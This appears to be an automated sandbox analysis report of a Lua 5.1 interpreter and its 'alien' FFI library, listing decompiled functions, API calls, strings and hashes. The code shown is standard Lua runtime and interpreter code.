Instruction ID: 3bd24dc7c7c46126b39836e4fd7d205d4c9ffb2ce3e97a16e61930a815e145ca
Opcode Fuzzy Hash: 0d294e8007b782c5f260f875d05d25547fc49c7e0d1c8dd097b4ce241c2839a2
Instruction Fuzzy Hash: 1A11B47290021227D711EB299C42B5F3A985E80364F14023BFC58F23E1FB3CEA0945DE

Uniqueness

Uniqueness Score: -1.00%

Function 10012BB0, Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 10012D10: luaL_newmetatable.LUA5.1(?,FILE*,?,10012BBB,?), ref: 10012D1B
Part of subcall function 10012D10: lua_pushvalue.LUA5.1(?,000000FF,?,FILE*,?,10012BBB,?), ref: 10012D23
Part of subcall function 10012D10: lua_setfield.LUA5.1(?,000000FE,__index,?,000000FF,?,FILE*,?,10012BBB,?), ref: 10012D30
Part of subcall function 10012D10: luaL_register.LUA5.1(?,00000000,10017778,?,000000FE,__index,?,000000FF,?,FILE*,?,10012BBB,?), ref: 10012D3D

lua_createtable.LUA5.1(?,00000002,00000001,?), ref: 10012BC0
lua_replace.LUA5.1(?,FFFFD8EF,?,00000002,00000001,?), ref: 10012BCB
luaL_register.LUA5.1(?,1001A2F0,10017718,?,FFFFD8EF,?,00000002,00000001,?), ref: 10012BDB

Part of subcall function 1000F6F0: luaL_openlib.LUA5.1(?,?,?,00000000), ref: 1000F701

Part of subcall function 10012D50: lua_pushvalue.LUA5.1(?,000000FF), ref: 10012D70
Part of subcall function 10012D50: lua_rawseti.LUA5.1(?,FFFFD8EF,?,?,000000FF), ref: 10012D7C
Part of subcall function 10012D50: lua_setfield.LUA5.1(?,000000FE,?), ref: 10012D8C

lua_getfield.LUA5.1(?,000000FF,popen,?,759745C0,00000000,stderr), ref: 10012C2C

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_createtable.LUA5.1(?,00000000,00000001,?,000000FF,popen,?,759745C0,00000000,stderr), ref: 10012C36
lua_pushcclosure.LUA5.1(?,10012C90,00000000,?,00000000,00000001,?,000000FF,popen,?,759745C0,00000000,stderr), ref: 10012C43
lua_setfield.LUA5.1(?,000000FE,__close,?,10012C90,00000000,?,00000000,00000001,?,000000FF,popen,?,759745C0,00000000,stderr), ref: 10012C50

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

lua_setfenv.LUA5.1(?,000000FE), ref: 10012C5B
lua_settop.LUA5.1(?,000000FE,?,000000FE), ref: 10012C63
lua_pushcclosure.LUA5.1(?,10012CD0,00000000,?,000000FE,?,000000FE), ref: 10012C70
lua_setfield.LUA5.1(?,FFFFD8EF,__close,?,10012CD0,00000000,?,000000FE,?,000000FE), ref: 10012C80

Strings

stderr, xrefs: 10012C16
stdout, xrefs: 10012BF9
stdin, xrefs: 10012BE5
__close, xrefs: 10012C48, 10012C75
popen, xrefs: 10012C24

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_setfield.$L_register.S_newlstr.lua_createtable.lua_pushcclosure.lua_pushvalue.$L_newmetatable.L_openlib.lua_getfield.lua_rawseti.lua_replace.lua_setfenv.lua_settop.
String ID: __close$popen$stderr$stdin$stdout
API String ID: 1916634189-1005838509
Opcode ID: 350cfda780ba28fc497615d5e51eff519dfa594cf1e678266218d234147ced9e
Instruction ID: f0fb1baafbd2ad158e902b372b1a94a8dc6a1045de2c60bcec3fec44c5f479f2
Opcode Fuzzy Hash: 350cfda780ba28fc497615d5e51eff519dfa594cf1e678266218d234147ced9e
Instruction Fuzzy Hash: BD11FE7855652131F412E2289D43FDE1159CF4B7A1F104200F315391DA9BB5B6D206EE

Uniqueness

Uniqueness Score: -1.00%

Function 005E31A0, Relevance: 28.0, APIs: 12, Strings: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E005E31A0(void* __esi) {

				_push("alien_library");
				L005E3FAA();
				_push(4);
				_push("__gc");
				L005E3FC8();
				_push(0);
				_push(E005E2910);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xa);
				_push("__tostring");
				L005E3FC8();
				_push(0);
				_push(E005E1470);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(7);
				_push("__index");
				L005E3FC8();
				_push(0);
				_push(0);
				L005E3FBC();
				_push(1);
				_push(E005E1310);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xfffffffe);
				L005E3EF6();
				return 0;
			}

0x005e31a0
0x005e31a6
0x005e31ab
0x005e31ad
0x005e31b3
0x005e31b8
0x005e31ba
0x005e31c0
0x005e31c5
0x005e31c8
0x005e31cd
0x005e31cf
0x005e31d5
0x005e31da
0x005e31dc
0x005e31e2
0x005e31ea
0x005e31ed
0x005e31f2
0x005e31f4
0x005e31fa
0x005e31ff
0x005e3201
0x005e3204
0x005e3209
0x005e320b
0x005e3211
0x005e3216
0x005e3219
0x005e321e
0x005e3221
0x005e322b

APIs

luaL_newmetatable.LUA5.1(?,alien_library,005E3E6A), ref: 005E31A6
lua_pushlstring.LUA5.1(?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31B3
lua_pushcclosure.LUA5.1(?,005E2910,00000000,?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31C0
lua_settable.LUA5.1(?,000000FD,?,005E2910,00000000,?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31C8
lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD,?,005E2910,00000000,?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31D5
lua_pushcclosure.LUA5.1(?,005E1470,00000000,?,__tostring,0000000A,?,000000FD,?,005E2910,00000000,?,__gc,00000004,?,alien_library), ref: 005E31E2
lua_settable.LUA5.1(?,000000FD), ref: 005E31ED
lua_pushlstring.LUA5.1(?,__index,00000007,?,000000FD), ref: 005E31FA
lua_createtable.LUA5.1(?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3204
lua_pushcclosure.LUA5.1(?,005E1310,00000001,?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3211
lua_settable.LUA5.1(?,000000FD,?,005E1310,00000001,?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3219
lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E1310,00000001,?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3221

Strings

alien_library, xrefs: 005E31A0
__gc, xrefs: 005E31AD
__tostring, xrefs: 005E31CF
__index, xrefs: 005E31F4

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushcclosure.lua_pushlstring.lua_settable.$L_newmetatable.lua_createtable.lua_settop.
String ID: __gc$__index$__tostring$alien_library
API String ID: 1690053519-2300885723
Opcode ID: c86761f609c9feca57a2e33c2201e9aa610c1837e6ba3281ae86f4275a7fd575
Instruction ID: ba41341afeff427dc6f95400745a9f121a1bba92f73d07ca56da3d30ed07d837
Opcode Fuzzy Hash: c86761f609c9feca57a2e33c2201e9aa610c1837e6ba3281ae86f4275a7fd575
Instruction Fuzzy Hash: D8F04C60BDEBA331DA1A32230C4FF9E0C193F92B66F211210F6F1365D66A9D1315009E

Uniqueness

Uniqueness Score: -1.00%

Function 00401C20, Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401C20(struct _IO_FILE** __eax, struct _IO_FILE** _a4) {
				char _v4;
				struct _IO_FILE* _v8;
				struct _IO_FILE* _v12;
				struct _IO_FILE* _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct _IO_FILE* _t25;
				struct _IO_FILE _t26;
				char* _t27;
				intOrPtr _t28;
				struct _IO_FILE* _t32;
				struct _IO_FILE* _t34;
				struct _IO_FILE* _t37;
				struct _IO_FILE** _t57;
				struct _IO_FILE* _t59;
				struct _IO_FILE** _t60;
				struct _IO_FILE** _t62;
				intOrPtr* _t65;
				struct _IO_FILE** _t66;
				struct _IO_FILE** _t68;
				struct _IO_FILE** _t69;
				struct _IO_FILE** _t70;
				struct _IO_FILE** _t71;

				_t66 = _a4;
				_push(1);
				_push(_t66);
				L00401F30();
				_t57 = __eax;
				_t25 = __eax[1];
				_v12 = _t25;
				_t26 =  *_t25;
				_t68 =  &(( &_v16)[2]);
				_a4 = __eax;
				_v8 = 0;
				_v16 = 0;
				_v4 = 0;
				 *0x404378 = _t66;
				if(_t26 != 0 &&  *_t26 != 0) {
					 *0x404018 = _t26;
				}
				_push(0);
				_push(0);
				_push(_t66);
				L00401ED6();
				_push(_t66);
				L00401EDC();
				_push(0);
				_push(1);
				_push(_t66);
				L00401ED6();
				_t27 = getenv("LUA_INIT");
				_t69 =  &(_t68[8]);
				if(_t27 != 0) {
					__eflags =  *_t27 - 0x40;
					_t60 = _t66;
					if( *_t27 != 0x40) {
						_t28 = E004012F0(_t27, _t60, "=LUA_INIT");
						_t69 =  &(_t69[1]);
					} else {
						_t28 = E00401230( &(_t27[1]), _t60);
					}
				} else {
					_t28 = 0;
				}
				 *((intOrPtr*)(_t57 + 8)) = _t28;
				if(_t28 != 0) {
					L27:
					__eflags = 0;
					return 0;
				} else {
					_t59 = E00401A80( &_v16,  &_v4, _v12,  &_v8);
					_t70 =  &(_t69[1]);
					if(_t59 >= 0) {
						__eflags = _v16;
						if(_v16 != 0) {
							E00401150();
						}
						__eflags = _t59;
						_t62 = _a4;
						_t32 = _t59;
						if(_t59 <= 0) {
							_t32 =  *_t62;
						}
						_t53 = _v12;
						_t34 = E00401BA0(_t66, _v12, _t32);
						_t71 =  &(_t70[1]);
						__eflags = _t34;
						_t62[2] = _t34;
						if(_t34 != 0) {
							goto L27;
						} else {
							__eflags = _t59;
							if(_t59 != 0) {
								_t34 = E00401950(_t66, _t53, _t59);
								_t71 =  &(_t71[2]);
								_t62[2] = _t34;
							}
							__eflags = _t62[2];
							if(_t62[2] != 0) {
								goto L27;
							} else {
								__eflags = _v8;
								if(__eflags != 0) {
									L25:
									E00401750(_t59, _t66, __eflags);
									__eflags = 0;
									return 0;
								} else {
									__eflags = _t59;
									if(_t59 != 0) {
										goto L27;
									} else {
										__eflags = _v4 - _t59;
										if(_v4 != _t59) {
											goto L27;
										} else {
											__eflags = _v16 - _t59;
											if(_v16 != _t59) {
												goto L27;
											} else {
												__imp____iob_func();
												_t37 = _fileno(_t34);
												__imp___isatty(_t37);
												__eflags = _t37;
												if(_t37 == 0) {
													__eflags = 0;
													E00401230(0, _t66);
													goto L27;
												} else {
													E00401150();
													goto L25;
												}
											}
										}
									}
								}
							}
						}
					} else {
						_t65 = __imp____iob_func;
						fprintf( *_t65( *0x404018) + 0x40, "usage: %s [options] [script [args]].\nAvailable options are:\n  -e stat  execute string \'stat\'\n  -l name  require library \'name\'\n  -i       enter interactive mode after executing \'script\'\n  -v       show version information\n  --       stop handling options\n  -        execute stdin and stop handling options\n");
						fflush( *_t65() + 0x40);
						_a4[2] = 1;
						return 0;
					}
				}
			}

0x00401c25
0x00401c2b
0x00401c2d
0x00401c2e
0x00401c33
0x00401c35
0x00401c3a
0x00401c3e
0x00401c40
0x00401c45
0x00401c49
0x00401c4d
0x00401c51
0x00401c55
0x00401c5b
0x00401c61
0x00401c61
0x00401c66
0x00401c67
0x00401c68
0x00401c69
0x00401c6e
0x00401c6f
0x00401c74
0x00401c75
0x00401c77
0x00401c78
0x00401c82
0x00401c88
0x00401c8d
0x00401c93
0x00401c96
0x00401c98
0x00401cab
0x00401cb0
0x00401c9a
0x00401c9d
0x00401c9d
0x00401c8f
0x00401c8f
0x00401c8f
0x00401cb5
0x00401cb8
0x00401dba
0x00401dba
0x00401dc0
0x00401cbe
0x00401cd4
0x00401cd6
0x00401cdb
0x00401d1f
0x00401d24
0x00401d26
0x00401d26
0x00401d2b
0x00401d2d
0x00401d31
0x00401d33
0x00401d35
0x00401d35
0x00401d37
0x00401d3e
0x00401d43
0x00401d46
0x00401d48
0x00401d4b
0x00000000
0x00401d4d
0x00401d4d
0x00401d4f
0x00401d55
0x00401d5a
0x00401d5d
0x00401d5d
0x00401d60
0x00401d64
0x00000000
0x00401d66
0x00401d66
0x00401d6b
0x00401d9d
0x00401d9f
0x00401da7
0x00401dad
0x00401d6d
0x00401d6d
0x00401d6f
0x00000000
0x00401d71
0x00401d71
0x00401d75
0x00000000
0x00401d77
0x00401d77
0x00401d7b
0x00000000
0x00401d7d
0x00401d7d
0x00401d84
0x00401d8b
0x00401d94
0x00401d96
0x00401dae
0x00401db2
0x00000000
0x00401d98
0x00401d98
0x00000000
0x00401d98
0x00401d96
0x00401d7b
0x00401d75
0x00401d6f
0x00401d6b
0x00401d64
0x00401cdd
0x00401ce3
0x00401cf5
0x00401d01
0x00401d11
0x00401d1e
0x00401d1e
0x00401cdb

APIs

lua_touserdata.LUA5.1(?,00000001), ref: 00401C2E
lua_gc.LUA5.1(?,00000000,00000000), ref: 00401C69
luaL_openlibs.LUA5.1(?,?,00000000,00000000), ref: 00401C6F
lua_gc.LUA5.1(?,00000001,00000000,?,?,00000000,00000000), ref: 00401C78
getenv.MSVCR80 ref: 00401C82
__iob_func.MSVCR80 ref: 00401CEF
fprintf.MSVCR80 ref: 00401CF5
__iob_func.MSVCR80 ref: 00401CFB
fflush.MSVCR80 ref: 00401D01
__iob_func.MSVCR80 ref: 00401D7D
_fileno.MSVCR80 ref: 00401D84
_isatty.MSVCR80 ref: 00401D8B

Part of subcall function 004012F0: luaL_loadbuffer.LUA5.1(?,?,?,?), ref: 00401309
Part of subcall function 004012F0: lua_gettop.LUA5.1 ref: 00401318
Part of subcall function 004012F0: lua_pushcclosure.LUA5.1(?,Function_000010B0,00000000), ref: 00401327
Part of subcall function 004012F0: lua_insert.LUA5.1(?,00000000,?,Function_000010B0,00000000), ref: 0040132E
Part of subcall function 004012F0: signal.MSVCR80 ref: 00401340
Part of subcall function 004012F0: lua_pcall.LUA5.1(?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401348
Part of subcall function 004012F0: signal.MSVCR80 ref: 00401353
Part of subcall function 004012F0: lua_remove.LUA5.1(?,00000000,?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401357
Part of subcall function 004012F0: lua_gc.LUA5.1(?,00000002,00000000), ref: 0040136A
Part of subcall function 004012F0: lua_type.LUA5.1(?,000000FF), ref: 0040137A
Part of subcall function 004012F0: lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 0040138B
Part of subcall function 004012F0: lua_settop.LUA5.1(?,000000FE,00000000), ref: 004013AA

Part of subcall function 00401230: luaL_loadfile.LUA5.1 ref: 00401233
Part of subcall function 00401230: lua_gettop.LUA5.1 ref: 00401242
Part of subcall function 00401230: lua_pushcclosure.LUA5.1(?,Function_000010B0,00000000), ref: 00401251
Part of subcall function 00401230: lua_insert.LUA5.1(?,00000000,?,Function_000010B0,00000000), ref: 00401258
Part of subcall function 00401230: signal.MSVCR80 ref: 0040126A
Part of subcall function 00401230: lua_pcall.LUA5.1(?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401272
Part of subcall function 00401230: signal.MSVCR80 ref: 0040127D
Part of subcall function 00401230: lua_remove.LUA5.1(?,00000000,?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401281
Part of subcall function 00401230: lua_gc.LUA5.1(?,00000002,00000000), ref: 00401294
Part of subcall function 00401230: lua_type.LUA5.1(?,000000FF), ref: 004012A4
Part of subcall function 00401230: lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 004012B5
Part of subcall function 00401230: lua_settop.LUA5.1(?,000000FE,00000000), ref: 004012D4

Strings

usage: %s [options] [script [args]].Available options are: -e stat execute string 'stat' -l name require library 'name' -i enter interactive mode after executing 'script' -v show version information -- stop handling options - , xrefs: 00401CEA
=LUA_INIT, xrefs: 00401CA4
LUA_INIT, xrefs: 00401C7D

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_gc.signal$__iob_func$lua_gettop.lua_insert.lua_pcall.lua_pushcclosure.lua_remove.lua_settop.lua_tolstring.lua_type.$L_loadbuffer.L_loadfile.L_openlibs._fileno_isattyfflushfprintfgetenvlua_touserdata.
String ID: =LUA_INIT$LUA_INIT$usage: %s [options] [script [args]].Available options are: -e stat execute string 'stat' -l name require library 'name' -i enter interactive mode after executing 'script' -v show version information -- stop handling options -
API String ID: 3286308003-2816626489
Opcode ID: ddc6a243a3457ed3b2f78114d45ca22b827b8de7a25c811f0108d577ba2fabee
Instruction ID: 1661e74645fce7f76ba2d004b2b7d54c05a94a0d93ff2daf657b13c8d54a0cb2
Opcode Fuzzy Hash: ddc6a243a3457ed3b2f78114d45ca22b827b8de7a25c811f0108d577ba2fabee
Instruction Fuzzy Hash: 5241D3719002059FD710AF669C8561BB6D8EF84355F54083FF949F33A2E63CE94887AA

Uniqueness

Uniqueness Score: -1.00%

Function 005E1310, Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E005E1310(void* __ebx, intOrPtr _a4) {
				char _v4;
				void* _v8;
				void* __edi;
				void* __esi;
				CHAR* _t8;
				CHAR* _t11;
				struct HINSTANCE__** _t12;
				struct HINSTANCE__* _t13;
				char _t26;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				struct HINSTANCE__** _t34;
				CHAR* _t37;
				void** _t39;
				void** _t40;
				void** _t42;

				_t30 = _a4;
				_t8 =  &_v4;
				_push(_t8);
				_push(2);
				_push(_t30);
				L005E3F32();
				_t37 = _t8;
				_push(_t37);
				_push(0xffffd8ed);
				_push(_t30);
				L005E3F02();
				_push(0xffffffff);
				_push(_t30);
				L005E3F4A();
				_t39 =  &(( &_v8)[8]);
				if(_t8 == 0) {
					_t27 = malloc(_v4 + 1);
					_t40 =  &(_t39[1]);
					_v8 = _t27;
					if(_t27 == 0) {
						_push("out of memory!");
						_push(_t30);
						L005E3F26();
						return 0;
					} else {
						_t11 = _t37;
						_t28 = _t27 - _t37;
						do {
							_t26 =  *_t11;
							 *((char*)(_t28 + _t11)) = _t26;
							_t11 =  &(_t11[1]);
						} while (_t26 != 0);
						_push(__ebx);
						_t12 = E005E1110(_t11, 1, _t30, "alien_library");
						_t42 =  &(_t40[1]);
						_t34 = _t12;
						if(_t34 == 0) {
							_push("alien library expected");
							_push(1);
							_push(_t30);
							L005E3F14();
							_t42 =  &(_t42[3]);
						}
						_t13 =  *_t34;
						if(_t13 == 0) {
							_t13 = GetModuleHandleA(_t13);
						}
						if(GetProcAddress(_t13, _t37) != 0) {
							E005E1290(_t14, _t30, _t34, _t14, _v8);
							_push(0xffffffff);
							_push(_t30);
							L005E3F44();
							_push(_t37);
							_push(0xffffd8ed);
							_push(_t30);
							L005E3F3E();
							return 1;
						} else {
							E005E1080(_t30);
							free(_v8);
							_push(_t30);
							L005E3F20();
							return 0;
						}
					}
				} else {
					return 1;
				}
			}

0x005e1315
0x005e1319
0x005e131d
0x005e131e
0x005e1320
0x005e1321
0x005e1326
0x005e1328
0x005e1329
0x005e132e
0x005e132f
0x005e1334
0x005e1336
0x005e1337
0x005e133c
0x005e1341
0x005e135d
0x005e135f
0x005e1364
0x005e1368
0x005e1414
0x005e1419
0x005e141a
0x005e142a
0x005e136e
0x005e136e
0x005e1370
0x005e1372
0x005e1372
0x005e1374
0x005e1377
0x005e137a
0x005e137e
0x005e138b
0x005e1390
0x005e1393
0x005e1398
0x005e139a
0x005e139f
0x005e13a1
0x005e13a2
0x005e13a7
0x005e13a7
0x005e13aa
0x005e13ae
0x005e13b1
0x005e13b1
0x005e13c1
0x005e13ec
0x005e13f1
0x005e13f3
0x005e13f4
0x005e13f9
0x005e13fa
0x005e13ff
0x005e1400
0x005e1413
0x005e13c3
0x005e13c3
0x005e13cd
0x005e13d3
0x005e13d4
0x005e13e4
0x005e13e4
0x005e13c1
0x005e1344
0x005e134d
0x005e134d

APIs

luaL_checklstring.LUA5.1(?,00000002,?), ref: 005E1321
lua_getfield.LUA5.1(?,FFFFD8ED,00000000,?,00000002,?), ref: 005E132F
lua_type.LUA5.1(?,000000FF,?,FFFFD8ED,00000000,?,00000002,?), ref: 005E1337
malloc.MSVCR80 ref: 005E1357
luaL_argerror.LUA5.1(?,00000001,alien library expected), ref: 005E13A2
GetModuleHandleA.KERNEL32(00000000), ref: 005E13B1
GetProcAddress.KERNEL32(00000000,00000000), ref: 005E13B9
free.MSVCR80(?), ref: 005E13CD
lua_error.LUA5.1(?), ref: 005E13D4

Strings

alien library expected, xrefs: 005E139A
alien_library, xrefs: 005E137F
out of memory!, xrefs: 005E1414

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleL_argerror.L_checklstring.ModuleProcfreelua_error.lua_getfield.lua_type.malloc
String ID: alien library expected$alien_library$out of memory!
API String ID: 769680418-2304079716
Opcode ID: 1c1d601e613616fec0ec8ef5ed94a6ee0de13f3951a1a67ab1675f103847b39d
Instruction ID: 1bb7cab39af601f3e59f7565d6490a6703955b084ef537736ed9401b09e4c9a7
Opcode Fuzzy Hash: 1c1d601e613616fec0ec8ef5ed94a6ee0de13f3951a1a67ab1675f103847b39d
Instruction Fuzzy Hash: 74217D32E046813BCB08622BAC4EE7F7BACFFD1764F444034FD9487241F539990952A6

Uniqueness

Uniqueness Score: -1.00%

Function 10010EC0, Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 88COMMON

Download Yara Rule

APIs

lua_tothread.LUA5.1(?,00000001), ref: 10010ECC
luaL_argerror.LUA5.1(?,00000001,coroutine expected), ref: 10010EE2

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

lua_pushlstring.LUA5.1(?,running,00000007), ref: 10010EF6
lua_status.LUA5.1(00000000), ref: 10010F0A
lua_pushlstring.LUA5.1(?,dead,00000004), ref: 10010F22

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

lua_getstack.LUA5.1(00000000,00000000,?), ref: 10010F3D
lua_pushlstring.LUA5.1(?,normal,00000006), ref: 10010F51
lua_pushlstring.LUA5.1(?,suspended,00000009), ref: 10010F94

Strings

suspended, xrefs: 10010F8E
running, xrefs: 10010EF0
normal, xrefs: 10010F4B
coroutine expected, xrefs: 10010EDA
dead, xrefs: 10010F1C, 10010F73

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushlstring.$lua_getstack.$L_argerror.L_error.S_newlstr.lua_status.lua_tothread.
String ID: coroutine expected$dead$normal$running$suspended
API String ID: 1561646929-2864139186
Opcode ID: 356d690f21f3ff29daeca7f75d2d5b8f6c760100f8beeefba22452062e7dfd1b
Instruction ID: f84edd6b95c96bb26bd03c2649ffb15355f15186745eaf1d3b43832fb61f0e6d
Opcode Fuzzy Hash: 356d690f21f3ff29daeca7f75d2d5b8f6c760100f8beeefba22452062e7dfd1b
Instruction Fuzzy Hash: 6411B6AEF1421032F521E1186C43FDB3244CBD06D8F490035FA48AE287F6AAE79B41DB

Uniqueness

Uniqueness Score: -1.00%

Function 10010CE0, Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

lua_checkstack.LUA5.1(?,?,00000000,?,?,10010C96,?,00000000,-00000001,?), ref: 10010CED
lua_xmove.LUA5.1(?,?,?,?,-00000001,?), ref: 10010D3F
lua_resume.LUA5.1(?,?,?,?,?,?,-00000001,?), ref: 10010D46
lua_xmove.LUA5.1(?,?,00000001,?,?,?,?,?,?,-00000001,?), ref: 10010D5B
lua_gettop.LUA5.1(?,?,?,?,?,?,?,-00000001,?), ref: 10010D6B
lua_checkstack.LUA5.1(?,00000000,?,?,?,?,?,?,?,-00000001,?), ref: 10010D74
luaL_error.LUA5.1(?,too many arguments to resume,-00000001,?), ref: 10010D03

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_status.LUA5.1(?,-00000001,?), ref: 10010D0C
lua_gettop.LUA5.1(?,?,-00000001,?), ref: 10010D19
lua_pushlstring.LUA5.1(?,cannot resume dead coroutine,0000001C,?,?,-00000001,?), ref: 10010D2D
luaL_error.LUA5.1(?,too many results to resume,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 10010D86
lua_xmove.LUA5.1(?,?,00000000,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 10010D91

Strings

cannot resume dead coroutine, xrefs: 10010D27
too many results to resume, xrefs: 10010D80
too many arguments to resume, xrefs: 10010CFD

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_xmove.$L_error.lua_checkstack.lua_gettop.$L_where.lua_concat.lua_error.lua_pushlstring.lua_pushvfstring.lua_resume.lua_status.
String ID: cannot resume dead coroutine$too many arguments to resume$too many results to resume
API String ID: 701560387-1036007540
Opcode ID: 905a1aa61fe9e5b74688e8fc42189d15a8cb9343a9e4a1d9d67b084d808537d9
Instruction ID: a278f00ec43a6fe7a9c3c9436f1f8b147466dac960a56c8e5a86a04d0dbf0ec1
Opcode Fuzzy Hash: 905a1aa61fe9e5b74688e8fc42189d15a8cb9343a9e4a1d9d67b084d808537d9
Instruction Fuzzy Hash: 9611C29AA0115132F101E16A3C82EEF229CCF922EAF040039F9549824BF796FA9651F3

Uniqueness

Uniqueness Score: -1.00%

Function 004013C0, Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004013C0(void* __esi, intOrPtr _a4) {
				intOrPtr _t2;
				void* _t3;
				char* _t4;
				void* _t7;
				void* _t9;
				void* _t10;
				intOrPtr* _t11;

				_t10 = __esi;
				L00401EE2();
				_t2 = _a4;
				L00401ED0();
				L00401F00();
				_t9 = _t2 - 1;
				L00401F5A();
				L00401F06();
				_t11 = __imp__signal;
				_t3 =  *_t11(2, E00401030, __esi, _t9, __esi, E004010B0, 0, __esi, __esi, _t2, __esi, 0xffffd8ee, "require");
				L00401F60();
				_t7 = _t3;
				_t4 =  *_t11(2, 0, __esi, 1, 0, _t9);
				_push(_t9);
				_push(__esi);
				L00401F7E();
				if(_t7 != 0) {
					_push(0);
					_push(2);
					_push(__esi);
					L00401ED6();
					_push(0xffffffff);
					_push(__esi);
					L00401F4E();
					if(_t4 != 0) {
						_push(0);
						_push(0xffffffff);
						_push(__esi);
						L00401F36();
						if(_t4 == 0) {
							_t4 = "(error object is not a string)";
						}
						E00401060(_t4);
						_push(0xfffffffe);
